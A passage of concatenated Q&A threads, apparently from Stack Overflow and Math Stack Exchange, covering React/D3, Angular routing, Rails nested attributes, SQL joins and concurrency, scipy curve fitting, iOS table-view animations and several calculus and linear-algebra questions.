import { Runtime, Inspector } from "@observablehq/runtime";
import define from "@nitaku/tangled-tree-visualization-ii";

class BarChart extends React.Component {
    componentDidMount() {
        this.drawChart();
    }

    drawChart() {
        const data = this.props.data;
        const svg = d3.select("body").append("svg")
            .attr("width", this.props.width)
            .attr("height", this.props.height);

        const h = this.props.height;

        svg.selectAll("rect")
            .data(data)
            .enter()
            .append("rect")
            .attr("x", (d, i) => i * 70)
            .attr("y", (d, i) => h - 10 * d)
            .attr("width", 65)
            .attr("height", (d, i) => d * 10)
            .attr("fill", "green")

        svg.selectAll("text")
            .data(data)
            .enter()
            .append("text")
            .text((d) => d)
            .attr("x", (d, i) => i * 70)
            .attr("y", (d, i) => h - (10 * d) - 3)

        //selection.attr("property", (d, i) => {})
    }

    render() {
        return

    }

}

export default BarChart;

App.js
import React from 'react';
import BarChart from './BarChart.js';
import './App.css';

class App extends React.Component {

  state = {
    data: [12, 5, 6, 6, 9, 10],
    width: 700,
    height: 500,
    id: "root"
  }

  render() {
    return (

        <BarChart data={this.state.data} width={this.state.width} height={this.state.height} />

    );
  }
}

export default App;

A: Here is an example following their guideline but using react hooks.
When the component is mounted, you have to instance the runtime, specify the cells you want to mount and the html nodes, in this case using ref to point to a div element
  useEffect(() => {
    const runtime = new Runtime();
    runtime.module(notebook, name => {
      if (name === "animation") {
        return new Inspector(animationRef.current);
      }
       if (name === "mutable speed") {
        return {fulfilled: (value) => {
          animationSpeed.current = value;
        }};
      }
    });
  },[]);

animationSpeed is a reference to a mutable speed cell from the observable notebook. When there is an updated on the react input range you useEffect to update inside the notebook, using animationSpeed reference
useEffect(() => {
  if(animationSpeed.current){
    animationSpeed.current.value = speed;
    }
  },[speed]);

Here is the functional example.
ps. there is a bit o hack to load the modules inside stackoverflow code snippets

const {
  useState,
  useEffect,
  useRef,
} = React;

const App = () => {
  const [speed, setSpeed] = useState(1);
  const animationRef = useRef();
  const animationSpeed = useRef();

  useEffect(() => {
    const runtime = new Runtime();
    runtime.module(notebook, name => {
      if (name === "animation") {
        return new Inspector(animationRef.current);
      }
       if (name === "mutable speed") {
        return {fulfilled: (value) => {
          animationSpeed.current = value;
        }};
      }
    });
  },[]);

  useEffect(() => {
  if(animationSpeed.current){
    animationSpeed.current.value = speed;
    }
  },[speed]);

  return (

    Speed: {speed}
    <input type="range"
            min="0"
            max="5"
            step="0.1"
            value={speed}
            onChange={(event)=> setSpeed(event.target.valueAsNumber)} />

  );
};

// Render
ReactDOM.render( <App / > ,
  document.getElementById("react")
);


text:
Q: What is the best strategy to obtain the field name from a class using a functional interface getter method I need to obtain the field name of a POJO class using a @FunctionalInterface that models the [get/is]XXXX methods.
I'm already using the cronn reflection-util library to do some work, and for now, I can obtain the field name when it follows the POJO specification (where the field name respect the [get/is]XXXX format).
For example, given the following class:
public class MyBean {
    private String testName;
    public String getTestName() { return testName; }
    public void setTestName(String testName) { this.testName = testName; }
}

I can obtain the field name using the following source code:
String fieldName = de.cronn.reflection.util.PropertyUtils(MyBean.java, MyBean::getName).getName();

Besides that it is working for me, I would like to know if there is some better strategy or other way that performs better?


text:
Q: Запрос c замещением идентификаторов на значения из таблиц В запросе из БД:
select * from sms where card_id = 10644617

я получаю строку где имеются AuthorId и STATUS_ID.
Эти две колонки возвращают мне AuthorId и STATUS_ID в численном виде.
Мне нужно, чтобы в каждой строке подставились данные из таблицы Users.Name по ID (AuthorId - выше), и для статуса соответсвенно таблица DEFSMSSTATUS.Name по ID (STATUS_ID- выше).
Как я понял тут JOIN не поможет, я просто сделаю разовый запрос и выведу результат.
А как сделать подмену ID на их значения из их таблиц?

A:
Как я понял тут join не поможет

Нет, здесь он как раз кстати:
select sms.card_id, u.name, s.name
from sms
join users u on u.authorid = sms.authorid
join defsmsstatus s on s.status_id = sms.status_id
where card_id = 10644617

A: Вариант с подзапросами, почти без джоинов
select
  (select u.Name from Users u where u.id = sms.authorid) user_name,
  (select s.Name from DEFSMSSTATUS s where s.id = sms.status_id) status_name
from sms
where card_id = 10644617


text:
Q: Peano Equivalent for Rationals First let us establish that

*

*There exists a bijection between rationals, $\mathbb{Q}$ and natural numbers $\mathbb{N}$.

*Using the Peano Axiom's (and considering Gödel's incompleteness theorem), we can fundamentally describe the nature of $\mathbb{N}$.

Let us define $f : \mathbb{N} \to \mathbb{Q}$ as the bijection from naturals to rationals, and $q : \mathbb{Q} \to \mathbb{N}$ as the bijection from rationals to naturals.
Consider Peano's axioms
(Also $s : \mathbb{N} \to \mathbb{N}$)

*

*$0 \in \mathbb{N}$

*For any $n \in \mathbb{N}$, $n = n$

*For any $a, b \in \mathbb{N}$, $a = b \iff b = a$

*For any $a, b, c \in \mathbb{N}$, if $a = b$ and $b = c$ then $a = c$

*For any $a \in \mathbb{N}$ if $a = b$ then $b \in \mathbb{N}$

*For any $a \in \mathbb{N}$, $s(a) \in \mathbb{N}$

*For any $a, b \in \mathbb{N}$, $s(a) = s(b) \iff a = b$

*There exists no $a \in \mathbb{N}$ such that $s(a) = 0$

*Let $N \le \mathbb{N}$ be a set. If $0 \in N$ and for all $n \in N$, then $s(n) \in N$, then we can say that $\mathbb{N} = N$.

Now consider that for all $n \in \mathbb{N}$ we can say that under $f$ there is a $q \in \mathbb{Q}$ such that $n \mapsto q$.
Considering all of the above, can a Peano-like system be constructed for rationals?


text:
Q: Angular get full url for a route Wondering if there is a way to retrieve full url for a given route?
In Angular app you might use router.navigate('...') which will immediately navigate your browser to given route, but is there a way just to build URL string?
Use case for this is communication with 3rd party services like OAuth2 where I need to provide callback url, I wish not to build it by hands but call something like router.urlFor('callback') which will produce something like "http://localhost:4200/callback"
There is Location service which has prepareExternalUrl but unfortunately it is not what is needed
Edit:
At moment seems that it is not possible and there is no easy out of the box solution, but after looking around at sources find following solution:
const urlTree = router.createUrlTree(['callback'], {
    queryParams: { foo: 'bar' },
    fragment: 'acme'
});
const path = location.prepareExternalUrl(urlTree.toString());
const url = window.location.origin + path;
console.log(url); // http://localhost:4200/callback?foo=bar#acme

createrUrlTree is being called underneath routerLink directive

A: You could try this :
import { Component } from '@angular/core';
import { Router } from '@angular/router';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.scss']
})
export class AppComponent {
  title = 'stackoverflow';
  constructor(private router: Router) {
    console.log(this.router['location']._platformLocation.location.origin);
    // result: http://localhost:4200
  }
}

A: You can get baseurl with the following code on javascript
const parsedUrl = new URL(window.location.href);
const baseUrl = parsedUrl.origin;
console.log(baseUrl);

and then concatenate it with for example /callback to make
http://localhost:4200/callback

A: You're usually configuring your base URL somewhere, e.g. in a yaml file. This way you can configure all your different stages (component test, integration test, additional test, production). At runtime you would read the configuration and use some kind of a utility method or just string concatenation to produce your taget URL.
I would not parse the location.href property, because you're often behind a load balancer, a reverse proxy, so you don't know what exactly to add to your base URL. For simple apps it might be enough though.
Here an example:
Your local URL: http://localhost:8080/myapp/somefunction
Your production URL: https://www.somecompany.com/itdepartment/myapp/somefunction

A: I thinks you make mistake to handle oauth2.
for oauth2
1- frontend request api to login and then api redirect it to external oauth2 server.
2-then after login oauth2 server redirect you to api callback(that it is specified in oauth2 server as returnUrl).
3- api server redirect browser to frontend application.
so when frontend call api server to login just set querystring returnUrl(
value of that is current page route so it is location.href)
at url  and send it to api then api will be save it and in api callback api will rediret client to previous saved Url.

A: There is a "correct" way to build a full url, which can be found in RouterLink directive sources https://github.com/angular/angular/blob/main/packages/router/src/directives/router_link.ts#L331
constructor(
  private locationStrategy: LocationStrategydo injections
) {}
...
const fullUrl = this.locationStrategy.prepareExternalUrl(this.router.serializeUrl(this.urlTree))

or just
const fullUrl = this.locationStrategy.prepareExternalUrl('/internal/path')

A: Can you do something list this to get the list of urls and send the ones you want?
```
import { Component, OnInit } from '@angular/core';
import { Router } from '@angular/router';
import { environment } from 'src/environments/environment';

@Component({
  selector: 'app-products',
  templateUrl: './products.component.html',
  styleUrls: ['./products.component.scss']
})
export class ProductsComponent implements OnInit {

  constructor(private router: Router) { }
  urls: string[] = [];

  ngOnInit() {

    this.router.config.forEach(r => {
      console.log(r)
      this.urls.push(this.buildUrl(r.path));
    })
  }

  buildUrl(path: string) {
    return `${environment.basePath}/${path}`
  }

}

```

A: You can fetch full route URL and in segment too. Use the following code:
    import { Component, OnInit } from '@angular/core';
    import { Router, ActivatedRoute } from '@angular/router';

    @Component({
      selector: 'app-hero',
      templateUrl: './hero.component.html',
      styleUrls: ['./hero.component.css']
    })
    export class HeroComponent implements OnInit {

      constructor(private router: Router,  private activeRoute: ActivatedRoute) {
        this.activeRoute.queryParams.subscribe((qp) => {
          console.log('Get Router URL in segment:', this.activeRoute.snapshot);
          console.log('Get Full Router URL:', this.router.url);
        });
      }

      ngOnInit(): void {
      }
    }

For more information check out this link


text:
Q: Getting Docker container network to run on Heroku I am a Docker novice, but locally I can successfully run my container with: docker run -d -v /var/run/docker.sock:/var/run/docker.sock --net example-net  -p 8080:8080 my/repo
Typically I can just push a container to Heroku and it just works (which I thought was the whole idea of Docker; once you get it to run once it should run everywhere), but in this case the application doesn't load.
Presumably something about the above docker run is non-standard and the Heroku Docker environment isn't running my container in the same way my local environment is.
I don't know enough about Docker or Heroku to really debug further.
The underlying application is a Spring Boot web app and Heroku logs say Web process failed to bind to $PORT within 60 seconds of launch


text:
Q: Files.exists() returning false when run on Linux machine I have a program which checks if the given file is present on Windows Shared location.
I am using java.nio.file.Files.exists() for this purpose.
Following is my code
String strFilePath = "\\\\ftc-bqeutil\\logs\\Software\\Acc\\Admin\\xml_with_diff.xml";
if (Files.exists(path)) {
            System.out.println("File exist");
        }
        else
        {
            System.out.println("File does not exist");
        }

This code works fine on Windows machine and prints files exist. But on Linux it is not working. On Linux it prints "File does not exist"
Note : File is present at the given location and it has all the access rights.
I also tried changing file location as
String strFilePath = "smb://ftc-bqeutil/logs/Software/Acc/Admin/xml_with_diff.xml";

But it is not working. Can you help me?


text:
Q: Rails forms - Should I build `accepts_nested_attributes_for` associations in the Controller, Model, or View? The Question
I have a parent that accepts_nested_attributes_for a child. So, when I have a form for the parent, I need to build the child so I can display form fields for it as well. What I want to know is: where should I build the child? In the Model, View, or Controller?
Why I Am Asking This
You may be shaking your head and thinking I'm a madman for asking a question like this, but here's the line of thinking that got me here.
I have a Customer model that accepts_nested_attributes_for a billing_address, like so:
class Customer
  belongs_to :billing_address, class_name: 'Address'
  accepts_nested_attributes_for :billing_address
end

When I present a form for a new Customer to the user, I want to make sure there is a blank billing_address, so that the user actually sees fields for the billing_address. So I have something like this in my controller:
def new
  @customer = Customer.new
  @customer.build_billing_address
end

However, if the user doesn't fill out any of the billing_address fields, but tries to submit an invalid form, they will be presented with a form that no longer has fields for the billing_address, unless I put something like this in the create action of my controller:
def create
  @customer = Customer.new(params[:customer])
  @customer.build_billing_address if @customer.billing_address.nil?
end

There is another issue, which is that if a user tries to edit a Customer, but that Customer doesn't have an associated billing_address already, they won't see fields for the billing_address. So I have to add somethign like this to the controller:
def edit
  @customer = Customer.find(params[:id])
  @customer.build_billing_address if @customer.billing_address.nil?
end

And something similar needs to happen in the controller's update method.
Anyway, this is highly repetitive, so I thought about doing something in the model. My initial thinking was to add a callback to the model's after_initialize event, like so:
class CustomerModel
  after_initialize :build_billing_address, if: 'billing_address.nil?'
end

But my spidey sense started tingling. Who's to say I won't instantiate a Customer in some other part of my code in the future and have this wreak havoc in some unexpected ways.
So my current thinking is that the best place to do this is in the form view itself, since what I'm trying to accomplish is to have a blank billing_address for the form and the form itself is the only place in the code where I know for sure that I'm about to show a form for the billing_address.
But, you know, I'm just some guy on the Internet. Where should I build_billing_address?

A: Though this advice by Xavier Shay is from 2011, he suggests putting it in the view, "since this is a view problem (do we display fields or not?)":
app/helpers/form_helper.rb:
module FormHelper
  def setup_user(user)
    user.address ||= Address.new
    user
  end
end

app/views/users/_form.html.erb:
<%= form_for setup_user(@user) do |f| %>

Note that I had to change the helper method to the following:
  def setup_user(user)
    user.addresses.build if user.addresses.empty?
    user
  end

The controller remains completely unchanged.

A: If you know your model should always have a billing address, you can override the getter for this attribute in your model class as described in the docs:
def billing_address
    super || build_billing_address
end

Optionally pass in any attributes to build_billing_address as required by your particular needs.

A: You would use build if you want to build up something and save it later. I would say, use it in nested routes.
def create
 @address = @customer.billing_addresses.build(params[:billing_address])
 if @address.save
   redirect_to @customer.billing_addresses
 else
   render "create"
 end
end

Something like that. I also use the build when I'm in the console.

A: You have to remember the principles of MVC, which is to create DRY(don't repeat yourself) code, which is efficiently distributed between the various moving parts of the app
accepts_nested_attributes_for Is Great For Keeping Things DRY
accepts_nested_attributes_for is a model function which allows you to pass data through an association to another model. The reason why it exists is to give you the ability to populate another model's data based on a single form, and is excellent for extending functionality without too much extra code
The problem you're citing is that if you want to use the code in other areas of the app, you'll end up having all sorts of problems
My rebuttal to that is in order to create as efficient an application as possible, you want to write as little code as possible - letting Rails handle everything. The accepts_nested_attributes_for function does allow you to do this, but obviously has a cost, in that you have to accommodate it every time you want to use it
My recommendation is to use what you feel is the most efficient code you can, but also keep to conventions; as this will ensure speed & efficiency

A: You should handle all these scenarios in controller, since it is not a responsibility of model.
Just in terms of keeping things DRY, you can write a method,
def build_customer(customer)
  customer.build_billing_address if customer.billing_address.nil?
  #add more code if needed
end

And inside controller you can call this method wherever it is needed. e.g.
def create
  @customer = Customer.new(params[:customer])
  if @customer.save
    redirect_to @customer.billing_addresses
  else
    build_customer(@customer)
    render "new"
  end
end


text:
Q: Conditional combined indexes:When there are several decimal types of indexes, the desired results can not be queried Use version:4.5.0
db/system/config/db/test/collection.xconf The code is as follows:
<range>
        <create qname="item">
            <condition attribute="name" value="number"/>
            <field name="number" match="@value" type="xs:decimal"/>
        </create>
        <create qname="item">
            <condition attribute="name" value="acreage"/>
            <field name="acreage" match="@value" type="xs:decimal"/>
        </create>
        <create qname="item">
            <condition attribute="name" value="radii"/>
            <field name="radii" match="@value" type="xs:decimal"/>
        </create>
        <create qname="item">
            <condition attribute="name" value="diameter"/>
            <field name="diameter" match="@value" type="xs:decimal"/>
        </create>
    </range>

Browse Indexes
db/test The code of an XML file is as follows:
<root>
<item name="number" value="4"/>
<item name="acreage" value="5"/>
<item name="radii" value="6"/>
<item name="diameter" value="7"/> </root>

Query statement:
//item[@name='radii'][@value>5.0]

Query Profiling
No result
In theory, the XML file can be found, but the result can not be found for what? Can you help me? Thank you!

A: Based on the documentation for eXist's Conditional Combined Indexes feature you are trying to use here, it appears to me that this feature only support string comparisons (with an optional "numeric" mode). See https://exist-db.org/exist/apps/doc/newrangeindex#D3.21.18. In other words, your @type="xs:decimal" is not resulting in your attributes' values being cast to xs:decimal; effectively, instead, they are being indexed as xs:string.
Thus, for your query to work with the given data, change the predicate to [@value gt "5"].
Or, to force numeric comparisons, add numeric="yes" to the <field> element in your index definitions, and then change your predicate to [@value gt "5.0"].


text:
Q: How to prove that the limit $\lim_{a \to 0+} \int_a^b -(\log x)^{-1} \, dx$ exists Let $\delta$ be an element of $(0,1)$.  I need to find an upper bound for the integral from $0$ to delta of $-1/\log$.  Clearly, this is an improper integral, so I let a be an element of $(0,\delta)$ and try to then find the limit as a goes to $0$ from the right of this integral.  $-1/\log$ has no elementary primitive, so I need to use a different method.  So far I have shown that the function $-1/\log$ is increasing on $(0,1)$ and hence that the integral from a to delta of $-1/\log$ is less than or equal to $-(\delta - a) / \log(\delta)$.  Thus, as long as I knew that the limit as a goes to $0$ from the right of the integral from a to delta of $-1/\log$ EXISTS, it would follow that this limit would have to be less than or equal to $-(\delta - a) / \log(\delta)$ - I would have found an upper bound for the integral from 0 to delta of $-1/\log$.  But I don't know how to show that this limit exists.  Help please?

A: Consider the function $f:[0,1) \to \mathbb{R}$ defined by $f(0)=0$ and $f(t)=-(\log t)^{-1}$ for $0<t<1$. Then $f$ is obviously continuous, and so for every $b<1$ the function
$$
F:[0,b] \to \mathbb{R}, F(x)=\int_x^bf(t)dt
$$
is well defined. Furthermore, $F$ is differentiable, and in particular $F$ is continuous. Thus
$$
F(0)=\lim_{a\to 0}F(a)=\lim_{a\to 0}\int_a^b-(\log(t))^{-1}dt.
$$

A: The integral:
$$\int{\frac{-1}{\log{x}}}dx = -Li(x) + C$$
Where $Li(x)$ is the Logarithmic Integral.
To prove that the integral exists on the region $[0,\delta]$ where $\delta < 1$, all you have to do is show that the function is continuous and bounded in that range (which it is). Since:
$$\lim_{x\rightarrow 0} -1/\log(x) = 0$$


text:
Q: What Software was Bundled with My Old Mac? In the beginning of 1995, we bought a Macintosh Performa 5200. I remember that after registering the machine, we got a box with some bonus software on CDs. I certainly know that The Daedalus Encounter came with it. This happened in Germany, if that matters.
What else came with this?

A: Gosh, that's a blast from the past. I had to go digging (deep) in my office!
The Performa 5200 came with a software bundle that included:

*

*The Daedalus Encounter

*Grolier's Multimedia Encyclopedia

*Myst

*Mega Rock Rap 'n' Roll

*Making Music

I'm not sure if there was a difference with models sold in Germany (in fact I didn't think this particular model was ever sold in Germany).
However, other models in the Performa range of that era also came with the Apple Magic Collection. This included:

*

*A Lion King animated story book

*The Aladin Activity Center

*Toy Story demo CD

A: We had a Performa 6300 at that time. In addition to the software already mentioned, it also came with a Notation Software to write music with. I forgot the name though.


text:
Q: How to fix location=0 at python curve fit scipy.optimize Here are the sample codes
x=[1.5,4,10,50,90]
y=[6/100,2.6/100,1.4/100,0.4/100,0.2/100]

def f(x, a, loc,scale):
    loc=0
    return gamma.pdf(x, a, loc, scale)
optimize.curve_fit(f, x, y)

The results are giving me a loc=1. Is there any way that I can make loc=0?
I noticed that, when x does not have integer elements, the loc can not be fixed at 0, otherwise the curve fit does not work. May I know the algorithm behind that?

As an example to show why mine code did not work in some cases,
from scipy import optimize
from scipy.stats import gamma

def f(x, a, loc,scale):
    loc=0
    return gamma.pdf(x, a, loc, scale)

init_guess=[0.1,0,0.1]

fig= plt.subplots(figsize=(5,3))
fit_2worst = optimize.curve_fit(f, x, y,p0=init_guess)

x2 = np.linspace (0, 100, 200)
y2 = gamma.pdf(x2, a=fit_2worst[0][0], loc=fit_2worst[0][1],scale=fit_2worst[0][2])

plt.title('Gamma with k='+str("{:.2}".format(fit_2worst[0][0]))+'\nTheta='+str(int(fit_2worst[0][2])))
plt.plot(x2, y2, "y-")
print ('k:',fit_2worst[0][0],'location:',fit_2worst[0][1],'theta:',fit_2worst[0][2])
plt.show()

Returns are
k: 36.171512499294444 location: 0.0 theta: 3.725335489050758
The shown picture is

With the code proposed by @Joe, I am able to get the correct one
def f(x, a, scale):
    #loc=0
    return gamma.pdf(x, a, scale=scale, loc=0)

fig= plt.subplots(figsize=(5,3))
opt = optimize.curve_fit(f, x, y)

x2 = np.linspace (0, 100, 200)
y2 = gamma.pdf(x2, a=opt[0][0],scale=opt[0][1])

plt.title('Gamma with k='+str("{:.2}".format(opt[0][0]))+'\nTheta='+str(int(opt[0][1])))
plt.plot(x2, y2, "y-")
print ('k:',opt[0][0],'location:',0,'theta:',opt[0][1])
plt.show()

With a return
k: 0.23311781831847955 location: 0 theta: 132.0300661365553

I am not sure why the previous codes do not work for floats but integers?

A: This is just least squares.
You can make loc = 0 by not making it variable and so not free for the optimizer to use. Try
def f(x, a, scale):
    #loc=0
    return gamma.pdf(x, a, scale=scale, loc=0)

optimize.curve_fit(f, x, y)

With image:
import matplotlib.pyplot as plt
from scipy import optimize
from scipy.stats import gamma

import numpy as np
x=[1.5,4,10,50,90]
y=[6/100,2.6/100,1.4/100,0.4/100,0.2/100]

def f(x, a, scale):
    #loc=0
    return gamma.pdf(x, a, scale=scale, loc=0)

opt = optimize.curve_fit(f, x, y)
print(opt)

x_0 = np.arange(0.0, 90)
y_0 = f(x_0, *(opt[0]))

plt.plot(x,y)
plt.plot(x_0,y_0, 'r.')
plt.show()


text:
Q: There is no polynomial $q$ such that $\int_0^1 p(x)q(x)\,dx=p(0)$ for each polynomial $p$. Suppose the inner product on $P(R)$ is defined by $\langle p,q\rangle = \int^1_0 p(x)q(x)dx$.
Let $\phi$ be the linear functional on $P(R)$ defined by $\phi (p) = p(0)$ for each polynomial $p \in P(R)$. Prove that there does not exist $q \in P(R)$ such that $\phi (p) = \langle p, q\rangle$ for every $p \in P(R)$.
This is what I have so far:
Let $e_1,...,e_n$ be an orthonormal basis for $P(R)$.
$\phi (p) = \phi(\langle p, e_1\rangle e_1 + \dots + \langle p, e_n\rangle e_n) = \langle p, e_1\rangle \phi(e_1) + \dots + \langle p, e_n\rangle \phi(e_n)$
Thus, $\phi(e_1)e_1 + \dots + \phi(e_n) e_n = p(0)e_1 + \dots p(0) e_n$
I'm not sure where to go from here, help? Thank you!

A: Take $p(x)=1$. We get $\int_0^1 q(x)dx=1$. Now take $p(x)=xq(x)$, we get $\int_0^1 x(q(x))^2dx=0$, hence $xq(x)^2=0$ on $[0,1]$ and $q(x)=0$. Hence $\int_0^1 q(x)dx=0=1$.

A: The vector space of all polynomials with real coefficients has infinite dimension, so there is no finite orthonormal basis as stated at the beginning of your work.  What follows the word "Thus" is very mysterious to me, and incorrect.
An alternative to the other suggestions is to consider $p_n(x)=(1-x)^n$ and use the bounded convergence theorem:  If $(f_n)$ is a sequence of integrable functions on $[0,1]$ converging pointwise to an integrable function $f$, and if there is a constant $M>0$ such that $|f_n(x)|<M$ for all $n$ and for all $x$, then $\lim\limits_{n\to\infty}\int_0^1f_n(x)\,dx=\int_0^1f(x)\,dx$.

A: Notice that $\int\limits_{0}^{1}x^{\alpha}a_{n}x^{n}dx$ is a rational function in term of $\alpha$ assuming $\alpha\geq 0$.
Hence $\int\limits_{0}^{1}x^{\alpha}q(x)dx$ is still a rational function in term of $\alpha$.
Remember that rational function is ratio of 2 polynomial. Thus it have only a finite number of root. Hence only a finite number of $\alpha$ exist such that $\int\limits_{0}^{1}x^{\alpha}q(x)dx=0$. But we need an infinite number of them, by plugging in $p(x)=x^{\alpha}$ for $\alpha=1,2,3,\ldots$

A: Hint
Take the restriction $\phi_n$ of $\phi$ on the subspace $\Bbb R_n[x]$ of polynomials with degree less or equal $n$.
$\phi_n$ is   obviously continuous by (in finite dimensional space all the norms are equivalent)
$$|\phi_n(p)|\le \lVert p\rVert_\infty$$
so by the Riesz's theorem there's a unique $q_0$ such that
$$\phi_n(p)=\langle p,q_0\rangle$$

A: According to the Cauchy-Schwarz inequality we would have $$|p(0)| = |\langle p, q \rangle| \leq \lVert p\rVert\lVert q\rVert$$ for all polynomials $p$. Now consider this inequality for $p(x) = (1-x)^n$ and any $n \in \mathbb{N}$.

A: Consider $x^n$ for $n=0,1,2,\ldots$ and use Weierstrass' theorem.


text:
Q: AFJSONRequestOperation / AFHTTPClient fetching old data So all I'm trying to do is serve up a .json file somewhere (I've tried both my own personal server, and also on AppFog), then performing a GET request using AFJSONRequestOperation on the iOS platform. My code to do this request is as follows:
AFHTTPClient *aclient = [[AFHTTPClient alloc] initWithBaseURL:[NSURL URLWithString:kBaseURL]];
NSURLRequest *request = [aclient requestWithMethod:@"GET"
                                           path:@"voucher.json"
                                     parameters:nil];

AFJSONRequestOperation *op = [[AFJSONRequestOperation alloc] initWithRequest:request];
[op setCompletionBlockWithSuccess:^(AFHTTPRequestOperation *operation, id responseObject) {
    NSLog(@"%@", (NSString *)responseObject);
} failure:^(AFHTTPRequestOperation *operation, NSError *error) {
    NSLog(@"Error: %@", error);
}];

[op start];

The problem here is that say the .json file initially contained an array of 2 strings. The above code would fetch these objects just fine. Then if I edited the .json file with another 3 strings, rerunning the code would continue to fetch only the 2 old strings.
Only 10-15 minutes after I made the change to the .json file will a refresh give me the updated data. At first I thought this was a caching issue, but setting [client setCachingPolicy:] didn't make any difference.
This issue is present whether I host my .json file on my static server, or running in a Node express server on AppFog. It just keeps returning an old version of the resource requested.
I'm really puzzled about this: so any help would be greatly appreciated!

A: Make sure the url request is not cacheing the data. I had to implement the following so I would get new json data each time a fetch was made.
NSURLRequest *request = [NSURLRequest requestWithURL:url cachePolicy:NSURLRequestReloadIgnoringLocalCacheData timeoutInterval:5];

A: This is likely a caching issue - you could change the cache policy on the request or append something onto the query string, like the current time.
To do this you could use something like:
[aclient requestWithMethod:@"GET"
                      path:[NSString stringWithFormat:@"voucher.json?%@", [NSDate date]]
                parameters:nil];


text:
Q: Users updating same row at the same time SQL Server I want to create a SQL Server table that has a Department and a Maximum Capacity columns (assume 10 for this scenario). When users add them selves to a department the system will check the current assignment count (assume 9 for this scenario) in the department and compare it to the maximum value. If it is below the maximum, they will be added.
The issue is this: what if two users submit at the same time and the when the code retrieves the current assignment count it will be 9 for both. One user updates the row sooner so now its 10 but the other user has already retrieved the previous value before the update (9) and so both are valid when compared and we end up with 11 users in the department.
Is this even possible and how can one solve it?

A: The answer to your problem lies in understanding "Database Concurrency" and then choosing the correct solution to your specific scenario.
It too large a topic to cover in a single SO answer so I would recommend doing some reading and coming back with specific questions.
However in simple form you either block the assignments out to the first person who tries to obtain them (pessimistic locking), or you throw an error after someone tries to assign over the limit (optimistic locking).
In the pessimistic case you then need ways to unblock them if the user fails to complete the transaction e.g. a timeout. A bit like on a ticket booking website it says "These tickets are being held for you for the next 10 minutes, you must complete your booking within that time else you may lose them".
And when you're down to the last few positions you are going to be turning everyone after the first away... no other way around it if you require this level of locking. (Well you could then create a waiting list, but that's another issue in itself).


text:
Q: How can I force animations in UITableViewCells to stop while scrolling through the table view? The problem I face itself is simple to describe.
I have a table view in my application in which animations are started asynchronously. And for once index path, the animations happen only once. If I scroll the cell out of visible area, I assume that the animation for that index path are finished. i.e. Next time the index path comes back to the visible area, I set it to the final values without animation. If I do not scroll, the animations work as expected.
However, when I scroll the table view, because the cell is reused and the animations intended to be performed on the cells currently not visible are still being performed on the now visible cell.
I have put together a sample code that describes my problem.
import UIKit

class ViewController: UIViewController {

    @IBOutlet weak var tableView: UITableView!

    override func viewDidLoad() {
        super.viewDidLoad()
        tableView.dataSource = self
    }
}

extension ViewController: UITableViewDataSource, UITableViewDelegate {

    func numberOfSections(in tableView: UITableView) -> Int {
        1
    }

    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        100
    }

    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: "TestCell", for: indexPath)
        cell.textLabel?.layer.opacity = 1
        UIView.animate(withDuration: 2, delay: 0, options: .curveEaseIn) { [weak cell] in
            cell?.textLabel?.layer.opacity = 0
        } completion: { [weak cell] _ in
            cell?.textLabel?.layer.opacity = 0
            cell?.textLabel?.text = "\(indexPath.row)"
            UIView.animate(withDuration: 2, delay: 0, options: .curveEaseIn) { [weak cell] in
                cell?.textLabel?.layer.opacity = 1
            } completion: { [weak cell] _ in
                cell?.textLabel?.layer.opacity = 1
                cell?.textLabel?.text = "\(indexPath.row)"
            }
        }
        animated[indexPath.row].toggle()
        return cell
    }
}

To stop the animation if the cell goes out of bounds of the table view, I tried to save a reference of the animation in the cell and remove right after a cell is dequeued. But it doesn't help my case.
import UIKit

class ViewController: UIViewController {

    @IBOutlet weak var tableView: UITableView!

    override func viewDidLoad() {
        super.viewDidLoad()
        tableView.dataSource = self
    }

    var animated: [Bool] = Array(repeating: false, count: 100)
}

class TestCell: UITableViewCell {

    var animations: [UIViewPropertyAnimator] = []
}

extension ViewController: UITableViewDataSource, UITableViewDelegate {

    func numberOfSections(in tableView: UITableView) -> Int {
        1
    }

    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        100
    }

    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: "TestCell", for: indexPath) as! TestCell

        if !animated[indexPath.row] {

            //Stop animations if any
            cell.animations.forEach { animator in
                animator.stopAnimation(true)
            }
            cell.animations.removeAll()

            //
            let animator = UIViewPropertyAnimator(duration: 5, curve: .easeIn) { [weak cell] in
                cell?.textLabel?.layer.opacity = 0
            }

            animator.addCompletion { [weak cell] completed in
                cell?.textLabel?.layer.opacity = 0
                cell?.textLabel?.text = "\(indexPath.row)"

                if completed == .end {

                    let animator1 = UIViewPropertyAnimator(duration: 5, curve: .easeIn) { [weak cell] in
                        cell?.textLabel?.layer.opacity = 1
                    }

                    animator1.addCompletion { [weak cell] _ in
                        cell?.textLabel?.layer.opacity = 1
                        cell?.textLabel?.text = "\(indexPath.row)"
                    }

                    animator1.startAnimation(afterDelay: 0)
                    cell?.animations.append(animator1)
                }
            }

            animator.startAnimation(afterDelay: 0)
            cell.animations.append(animator)

            animated[indexPath.row].toggle()
        } else {
            cell.textLabel?.layer.opacity = 1
            cell.textLabel?.text = "\(indexPath.row)"
        }
        return cell
    }
}

I could not find anything similar on SO. Any help is appreciated.

A: Set/stop animation in cell class :
class TestCell: UITableViewCell {

    var animation : UIViewPropertyAnimator?

    // call this in cellForRow in tableView controller
    func startAnimation() {
        … create animation and save it in self.animation
    }

    func stopAnimation () {
        … stop animation
    }

    override func prepareForReuse() {
        super.prepareForReuse()
        StopAnimation();
    }
}

A: It's a bit of an odd animation sequence, but I'm guessing this is more for testing / figuring it out for your actual use.
This might help...
Implement prepareForReuse() in your cell to stop and remove any executing animations, and set the label's opacity to 1.0.
In cellForRowAt, set the slot in your animated array to false instead of toggling it, since you only want the animation to run the first time a row appears.
Also in cellForRowAt, make sure you "reset" the cell's label to its initial value.
Give this a try and see if it gets you closer to your goal:
class TestCell: UITableViewCell {

    var animations: [UIViewPropertyAnimator] = []

    override func prepareForReuse() {
        super.prepareForReuse()

        animations.forEach { animator in
            animator.stopAnimation(true)
        }
        animations.removeAll()

        textLabel?.layer.opacity = 1.0
    }
}

class ViewController: UIViewController {

    @IBOutlet weak var tableView: UITableView!

    override func viewDidLoad() {
